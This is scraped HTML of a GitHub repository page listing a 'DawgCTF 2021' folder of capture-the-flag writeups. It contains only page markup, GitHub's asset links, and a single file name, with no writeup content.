</tab-container> </input-demux> </div></div> </details> </div> <div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>CTF-Writeups</span></span></span><span>/</span>DawgCTF 2021<span>/</span> </div> </div> <div class="d-flex"> Go to file </div> </div> <div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>CTF-Writeups</span></span></span><span>/</span>DawgCTF 2021<span>/</span></div> <div class="Box mb-3"> <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-1 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/mrajabinasab/CTF-Writeups/tree-commit/e8b256f6c0fc53b2be9b7c0d17995ce0585585c3/DawgCTF%202021" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path fill-rule="evenodd" d="M1.643 3.143L.427 1.927A.25.25 0 000 2.104V5.75c0 .138.112.25.25.25h3.646a.25.25 0 00.177-.427L2.715 4.215a6.5 6.5 0 11-1.18 4.458.75.75 0 10-1.493.154 8.001 8.001 0 101.6-5.684zM7.75 4a.75.75 0 01.75.75v2.992l2.028.812a.75.75 0 01-.557 1.392l-2.5-1A.75.75 0 017 8.25v-3.5A.75.75 0 017.75 4z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2> <include-fragment src="/mrajabinasab/CTF-Writeups/file-list/main/DawgCTF%202021"> Permalink <div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path></svg> Failed to load latest commit information. </div> <div class="js-details-container Details"> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block" data-pjax> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-icon-tertiary"> <path fill-rule="evenodd" d="M3.75 1.5a.25.25 0 00-.25.25v11.5c0 .138.112.25.25.25h8.5a.25.25 0 00.25-.25V6H9.75A1.75 1.75 0 018 4.25V1.5H3.75zm5.75.56v2.19c0 .138.112.25.25.25h2.19L9.5 2.06zM2 1.75C2 .784 2.784 0 3.75 0h5.086c.464 0 .909.184 1.237.513l3.414 3.414c.329.328.513.773.513 1.237v8.086A1.75 1.75 0 0112.25 15h-8.5A1.75 1.75 0 012 13.25V1.75z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>DawgCTF2021 Writeups.txt</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> </div> </div> </include-fragment> </div> </div> </div></div> </main> </div> </div> <div class="footer container-xl width-full p-responsive" role="contentinfo"> <div class="position-relative d-flex flex-row-reverse flex-lg-row flex-wrap flex-lg-nowrap flex-justify-center flex-lg-justify-between pt-6 pb-2 mt-6 f6 color-fg-muted border-top color-border-muted "> © 2021 GitHub, Inc. Terms Privacy Security Status Docs <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"></path></svg> Contact GitHub Pricing API Training Blog About </div> <div class="d-flex flex-justify-center pb-6"> <span></span> </div></div> <div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg> </button> You can’t perform that action at this time. </div> <div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template> <div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div> <template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-text-success d-none m-2"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path></svg> </clipboard-copy> </div></template> </body></html>
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com"> <link crossorigin="anonymous" media="all" integrity="sha512-L06pZD/4Yecj8D8pY5aYfA7oKG6CI8/hlx2K9ZlXOS/j5TnYEjrusaVa9ZIb9O3/tBHmnRFLzaC1ixcafWtaAg==" rel="stylesheet" href="https://github.githubassets.com/assets/light-2f4ea9643ff861e723f03f296396987c.css" /><link crossorigin="anonymous" media="all" integrity="sha512-xcx3R1NmKjgOAE2DsCHYbus068pwqr4i3Xaa1osduISrxqYFi3zIaBLqjzt5FM9VSHqFN7mneFXK73Z9a2QRJg==" rel="stylesheet" href="https://github.githubassets.com/assets/dark-c5cc774753662a380e004d83b021d86e.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" integrity="sha512-xlDV9el7Cjd+KTSbwspx+c8its28uxn++hLZ9pqYYo1zOVcpLPlElTo42iA/8gV3xYfLvgqRZ3dQPxHCu4UaOQ==" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-c650d5f5e97b0a377e29349bc2ca71f9.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" integrity="sha512-jkzjbgytRSAyC4EMcrdpez+aJ2CROSpfemvgO2TImxO6XgWWHNG2qSr2htlD1SL78zfuPXb+iXaVTS5jocG0DA==" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-8e4ce36e0cad4520320b810c72b7697b.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" integrity="sha512-FzS8HhJ7XSHmx/dBll4FYlvu+8eivvb7jnttZy9KM5plsMkgbEghYKJszrFFauqQvv7ezYdbk7v/d8UtdjG9rw==" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-1734bc1e127b5d21e6c7f741965e0562.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" integrity="sha512-IpkvxndMpMcO4paMJl83lYTcy18jv2jqG7mHZnTfr9HRV09iMhuQ/HrE+4mQO2nshL7ZLejO1OiVNDQkyVFOCA==" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-22992fc6774ca4c70ee2968c265f3795.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-4hzfg/znP4UxIOUt/r3SNYEZ6jBPJIS6PH4VC26tE0Nd4xAymMC3KXDaC9YITfG4fhyfxuB1YnDHo1H2iUwsfg==" rel="stylesheet" href="https://github.githubassets.com/assets/frameworks-e21cdf83fce73f853120e52dfebdd235.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-sT0AyFLl78shyaRWRXOw8uwRSnR+7tURIXoJwVYadATkrqeWfze5y/tOu8MS1mbzUKl6pgLjfEdT+U8bwBJHfQ==" rel="stylesheet" href="https://github.githubassets.com/assets/behaviors-b13d00c852e5efcb21c9a4564573b0f2.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-jdtbQr5ZSKZqID/c80i87Ml+YyEhYVd5sF9szeR+Xuvbfhi4yLJbEsSllzk0XRzcbWqD4tDtshhRo5IuJx4Mzw==" rel="stylesheet" href="https://github.githubassets.com/assets/github-8ddb5b42be5948a66a203fdcf348bcec.css" /> <script crossorigin="anonymous" defer="defer" integrity="sha512-/0zs/So9AxtDONKx324yW8s62PoPMx4Epxmk1aJmMgIYIKUkQg4YqlZQ06B4j0tSXQcUB8/zWiIkhLtVEozU/w==" type="application/javascript" src="https://github.githubassets.com/assets/environment-ff4cecfd.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-8p4kkx6e3xBq1g3NP0O3/AW/aiTQ+VRxYencIeMD8crx7AEwrOTV+XOL/UE8cw4vEvkoU/zzLEZ9cud0jFfI4w==" type="application/javascript" src="https://github.githubassets.com/assets/chunk-frameworks-f29e2493.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-slE3Aa2Duzwgju0UbTfes+w5slmaEOhXwom+Ev+pPsxxOpeh2CGZqfriJGr6pkhTZX+ffOTTYl3GnSLtp7AkJw==" type="application/javascript" src="https://github.githubassets.com/assets/chunk-vendor-b2513701.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-ZDU7IsI6lFo4eeBuqkrh/Htsa12ZYOi44uBhKqG0LyV6XHM502iJjjsIVnmtmNXrrC9oGMf2O5i57Bx4lwGsXw==" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-64353b22.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-ODZJzCJpaOfusrIka5QVZQcPiO9LBGyrrMYjhhJWSLuCN5WbZ5xiEiiOPOKVu71dqygyRdB2TY7AKPA1J5hqdg==" type="application/javascript" data-module-id="./chunk-unveil.js" data-src="https://github.githubassets.com/assets/chunk-unveil-383649cc.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-emPgUbSwW9ezLCgRnTE7n4fbbfc/MqEEDHmnkmG61dTyjWKHTYKN4wN3OPS7SY0fwmSJ8mB5+gng2nZw4/HsUg==" type="application/javascript" data-module-id="./chunk-animate-on-scroll.js" data-src="https://github.githubassets.com/assets/chunk-animate-on-scroll-7a63e051.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-pWX6rMbTl/ERAhhtbAyXiJzoXFr91jp/mRy2Xk4OpAId3aVFI2X+yI8X3mhbf985F5BRHamuRx20kG62nRtSLQ==" type="application/javascript" data-module-id="./chunk-ref-selector.js" data-src="https://github.githubassets.com/assets/chunk-ref-selector-a565faac.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-GKiNgfnSOtC7SUFIvLZMYoteE7iKDONxzaeovKiziJczuW1P4KMU1KhXeoTv4WEN0ufeXC9ejA8HvgYa+xPAAQ==" type="application/javascript" data-module-id="./chunk-filter-input.js" data-src="https://github.githubassets.com/assets/chunk-filter-input-18a88d81.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-HRWFwpj3BLrXflQCvPbnuXPFjpnti5TtcqJqUx/b6klMyuskNlUBIo+1UT0KVHFdEW/Y9QKjmXlZxhP6z1j5pg==" type="application/javascript" data-module-id="./chunk-edit.js" data-src="https://github.githubassets.com/assets/chunk-edit-1d1585c2.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-GhqHDMwaAgqUsjVyltYVhaaLYy2G887rPRXXNbsdaI+Xm3dh0fbaHLhZns70EjFAEpXBgCAYFYdnlG1IQFmz1A==" type="application/javascript" data-module-id="./chunk-responsive-underlinenav.js" data-src="https://github.githubassets.com/assets/chunk-responsive-underlinenav-1a1a870c.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-gmw7obKL/JEHWPp6zWFh+ynbXUFOidj1DN2aPiTDwP8Gair0moVuDmA340LD84A29I3ZPak19CEiumG+oIiseg==" type="application/javascript" data-module-id="./chunk-tag-input.js" data-src="https://github.githubassets.com/assets/chunk-tag-input-826c3ba1.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Ao9llFIlj54ApuKf2QLboXukbu2h7MHfMmtYHrrsVe1lprKNLiA0usVcRpvruKhfT5STDuWm/GGmyx8ox27hWQ==" type="application/javascript" data-module-id="./chunk-notification-list-focus.js" data-src="https://github.githubassets.com/assets/chunk-notification-list-focus-028f6594.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-SPWd3rzrxmU6xW6vy1JPWCd+3uWFWmnd0MVGpmw/TpHWUAdLWDqL8kWyC/sBIZJmda4mTtUO1DHJQzAXRSrC+g==" type="application/javascript" data-module-id="./chunk-cookies.js" data-src="https://github.githubassets.com/assets/chunk-cookies-48f59dde.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-MK53GXbb2BPV+ADlEbJbkrvg34WPcAd5RC2nBJhUH1tR/Mjr9xrsf56ptBajfWcIWKRKbqqRtLktgr0wAbB3zw==" type="application/javascript" data-module-id="./chunk-async-export.js" data-src="https://github.githubassets.com/assets/chunk-async-export-30ae7719.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-tw9SApiMkftVBYeb6/VGhEwGNw8tlyBhXc9RVXH4UbCD6u+48uuCMvXf3bxvBdOld0OoYg83SnD2mgJWhdaTiQ==" type="application/javascript" data-module-id="./chunk-premium-runners.js" data-src="https://github.githubassets.com/assets/chunk-premium-runners-b70f5202.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-D576CjzS9sbDqFBJdq0Y6+KVMHXkO6mLFO/GRL1NtoE8jgXjAvmdjoZ4nNMWyDwqbtBHspvupORzE9L+YoBLYQ==" type="application/javascript" data-module-id="./chunk-get-repo-element.js" data-src="https://github.githubassets.com/assets/chunk-get-repo-element-0f9efa0a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-xhSAO0KtnFAlRqAK+mg8BPj/J334ccvnCmmjmBQBCgZcsoO9teHJSS6oAn3XOWYFsWPU2JehwG7S3OVEbLwdUg==" type="application/javascript" data-module-id="./chunk-color-modes.js" data-src="https://github.githubassets.com/assets/chunk-color-modes-c614803b.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-jitxouuFY6SUcDZV5W3jhadVEIfFBfCQZxfPV3kxNnsWEBzbxMJFp0ccLb7+OlBjSs1zU/MNtuOV6T9Ay7lx4w==" type="application/javascript" data-module-id="./chunk-copy.js" data-src="https://github.githubassets.com/assets/chunk-copy-8e2b71a2.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Auj2atZZccqguPinFmOL2k1TCzZs/yfMMFF5aMYMB/5miqEN7v4oAFG0o3Np24NOTkJ9o/txZCeuT6NGHgGoUA==" type="application/javascript" data-module-id="./chunk-voting.js" data-src="https://github.githubassets.com/assets/chunk-voting-02e8f66a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-HDsLJf6gAN+WDFaJneJwmIY82XkZKWqeX7tStBLRh1XM53K8vMV6JZvjq/UQXszaNVWxWcuYtgYTG6ZWo8+QSw==" type="application/javascript" data-module-id="./chunk-confetti.js" data-src="https://github.githubassets.com/assets/chunk-confetti-1c3b0b25.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-zEirtMGIgj3NVAnB8kWhDykK5NLa7q4ugkIxB7EftbovRjhU3X5I/20Rploa4KGPwAR27e36rAljHIsDKbTm/Q==" type="application/javascript" data-module-id="./chunk-codemirror.js" data-src="https://github.githubassets.com/assets/chunk-codemirror-cc48abb4.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Gr3ZcJt5t73JeBM3NwOEziKyDZ3HpHwzqZL/c1pgTUfo+6QC5f88XXRw/RT6X2diwqvaa3OVFh0oWsZ9ZxhtdQ==" type="application/javascript" data-module-id="./chunk-tip.js" data-src="https://github.githubassets.com/assets/chunk-tip-1abdd970.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-EdQvlnI4Pu5Q6K0HCvp+mi0Vw9ZuwaEuhbnCbmFKX+c0xwiUWY0L3n9P0F6doLhaHhfpvW3718+miL11WG4BeA==" type="application/javascript" data-module-id="./chunk-line.js" data-src="https://github.githubassets.com/assets/chunk-line-11d42f96.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-4zSHP2sQXPKoN9jFy8q2ThHsQNej8s4qhubSR4g0/2dTexAEnoTG+RbaffdIhmjfghGjpS/DlE0cdSTFEOcipQ==" type="application/javascript" data-module-id="./chunk-array.js" data-src="https://github.githubassets.com/assets/chunk-array-e334873f.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-g8fb6U7h9SkWgiK69nfNMn4aN5D2YBYPZUbCIuLpemWoOw8NOaZY8Z0hPq4RUVs4+bYdCFR6K719k8lwFeUijg==" type="application/javascript" data-module-id="./chunk-band.js" data-src="https://github.githubassets.com/assets/chunk-band-83c7dbe9.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-6oWCu7ltWLHlroIRg8mR6RloC1wqKS9aK9e5THWgzaE2GNPAdoC+MLZEYD/TdIiZxsQRev0RInyonsXGBK0aMw==" type="application/javascript" data-module-id="./chunk-toast.js" data-src="https://github.githubassets.com/assets/chunk-toast-ea8582bb.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-miaiZ1xkDsWBUsURHOmeYtbgVKQGnm1octCo/lDXUmPzDyjtubnHULRVw1AK+sttwdwyB0+LOyhIVAWCNSGx+A==" type="application/javascript" data-module-id="./chunk-delayed-loading-element.js" data-src="https://github.githubassets.com/assets/chunk-delayed-loading-element-9a26a267.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-GD25CNhMGDMzEmeFhUT0FILBupAkx5/CHohnYXOP1togy40O0iu/lASaSp3gV8ue0nwscalJVQqR5gKDRHHDVg==" type="application/javascript" data-module-id="./chunk-three.module.js" data-src="https://github.githubassets.com/assets/chunk-three.module-183db908.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-4vVRplWFI7P4m3RHQ0QAhkq6eZUdtIE8PBhsKYJRwDkhQw9iK/U1st1/fM1tQZFuBFwGMyqaZblbWtQ+2ejcqQ==" type="application/javascript" data-module-id="./chunk-slug.js" data-src="https://github.githubassets.com/assets/chunk-slug-e2f551a6.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Ofk7ddnMsJ6F9d2vCuPQav+FG9Rg8i6WRG2KmbzwT01S9H4y58Fl42zYxDh/lJjOWeSyOB9KJyfIkdpCCTYG9A==" type="application/javascript" data-module-id="./chunk-invitations.js" data-src="https://github.githubassets.com/assets/chunk-invitations-39f93b75.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-vFR+IqThljOLrAWmjhOL/kiQrjgZZg95uPovX0J7kRH5p7Y049LDRZaXLMDijfeqqk71d3MMn9XP5bUcH+lB9w==" type="application/javascript" data-module-id="./chunk-profile.js" data-src="https://github.githubassets.com/assets/chunk-profile-bc547e22.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-FeRujRzXPfs03roBR3mnHvWukfFpu27XbyZPQri9jcCY0AdUWSM5R4drHTJUDQ62Pz/aX0rSS5xORvTu7NsjlQ==" type="application/javascript" data-module-id="./chunk-overview.js" data-src="https://github.githubassets.com/assets/chunk-overview-15e46e8d.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-xqw233932eUGcGURAPuwUWZpC5Km/9Btq7/2Jnkt1rSWnPSVfMl+JKpr9eLtCoQmrpgP8vaghEuX8bWAS8fzTg==" type="application/javascript" data-module-id="./chunk-advanced.js" data-src="https://github.githubassets.com/assets/chunk-advanced-c6ac36df.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-6Rmd0BBAsJ9ouvb/pgrkToMPs5ogcqi8rcQ7R3GDPPHIjlu0NZ0Bx6HUn/aOruMCECETHm4Exfs5gjYdHs66RQ==" type="application/javascript" data-module-id="./chunk-runner-groups.js" data-src="https://github.githubassets.com/assets/chunk-runner-groups-e9199dd0.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-xdGx4qSd2qa0c/AVc4wDqpBhFHasDjOZ5y+MbwuIRA+ar7YxAFhZ2pGFs/+W5hVjSv+BMfKrcWpgLwR3xPIWHA==" type="application/javascript" data-module-id="./chunk-profile-pins-element.js" data-src="https://github.githubassets.com/assets/chunk-profile-pins-element-c5d1b1e2.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-LrD2kFGlUY4JxKVeN3dgYfuhfq0akTPGHtqW0gxkM2sDqVY6pauK2k57tmMHw4TQdcUrs+RQnBc1HPD+ou+ZfQ==" type="application/javascript" data-module-id="./chunk-emoji-picker-element.js" data-src="https://github.githubassets.com/assets/chunk-emoji-picker-element-2eb0f690.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-EvJ2Fip59DXgARNuwTWgjdVqoCjhXQL73SP9yexijlWStKq92sfbKeGK5R4wIP0QOr39WsnW/Kaw3Wpl1QPfog==" type="application/javascript" data-module-id="./chunk-edit-hook-secret-element.js" data-src="https://github.githubassets.com/assets/chunk-edit-hook-secret-element-12f27616.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-W0EihGBOA1mE3orR7s2squ9xVaLXrwd2bOYY9SSslfZHrovrS6KenJU+XXn+CaykddON6/aFEd/FbuQ/FltI9Q==" type="application/javascript" data-module-id="./chunk-insights-query.js" data-src="https://github.githubassets.com/assets/chunk-insights-query-5b412284.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-D/5Ad6jlKQNRPSHbVN5ShlFXOTyRsKbT7O0cWbVHwtOZ/UrwOC5bHKaQFHTq46qeMBbFKyDG+oIdtm5G8NifDA==" type="application/javascript" data-module-id="./chunk-remote-clipboard-copy.js" data-src="https://github.githubassets.com/assets/chunk-remote-clipboard-copy-0ffe4077.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-SUjF5sI77QngAIQUwKJRgZuIM4qggFBMtOZJ3EFS7ecv4uq4BQQJivDVxNBG9api9/rWrpw0d6RzvTCz2GrbdA==" type="application/javascript" data-module-id="./chunk-series-table.js" data-src="https://github.githubassets.com/assets/chunk-series-table-4948c5e6.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-nrfktuuo7BZhPpJxM4fVi62vPbZu6VJZ7ykfarxBExTTDnchXEalCJOq2O3GrVdfWu9cdn9kR/J8+oeTAjdHlA==" type="application/javascript" data-module-id="./chunk-line-chart.js" data-src="https://github.githubassets.com/assets/chunk-line-chart-9eb7e4b6.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-IOMGagwchKC7UeWHK/bV/rO1F1/RZAH0fNNouWV2boLOtE1a9LUbesoRsYK7sz6aFXslPC8fLfow+yWpT1eZzQ==" type="application/javascript" data-module-id="./chunk-stacked-area-chart.js" data-src="https://github.githubassets.com/assets/chunk-stacked-area-chart-20e3066a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-GohDpVrxfHqlavb8Zabvj+y/s6CHegYwyGpQxKtzR2MkQsynBC98LdLongRFMHI+TKAECLavp200Lsy9JbV5TQ==" type="application/javascript" data-module-id="./chunk-presence-avatars.js" data-src="https://github.githubassets.com/assets/chunk-presence-avatars-1a8843a5.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-TpHTIXhA/2bI21CVmFL1oS3dv+8zveJVZLOVVAZwXNAAI94Hy70L9vT3Q1Vvkyu4Z2gi2iFdy1a53pfYlEDgnQ==" type="application/javascript" data-module-id="./chunk-pulse-authors-graph-element.js" data-src="https://github.githubassets.com/assets/chunk-pulse-authors-graph-element-4e91d321.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-aNAcFMlIdG1ocY5LnZylnN/6KXiJxyPvKg7y1Jnai732wdnrjXazcvNiQkRnj5FY8WP6JRa3K4doCReA4nhj7w==" type="application/javascript" data-module-id="./chunk-stacks-input-config-view.js" data-src="https://github.githubassets.com/assets/chunk-stacks-input-config-view-68d01c14.js"></script> <script crossorigin="anonymous" defer="defer" 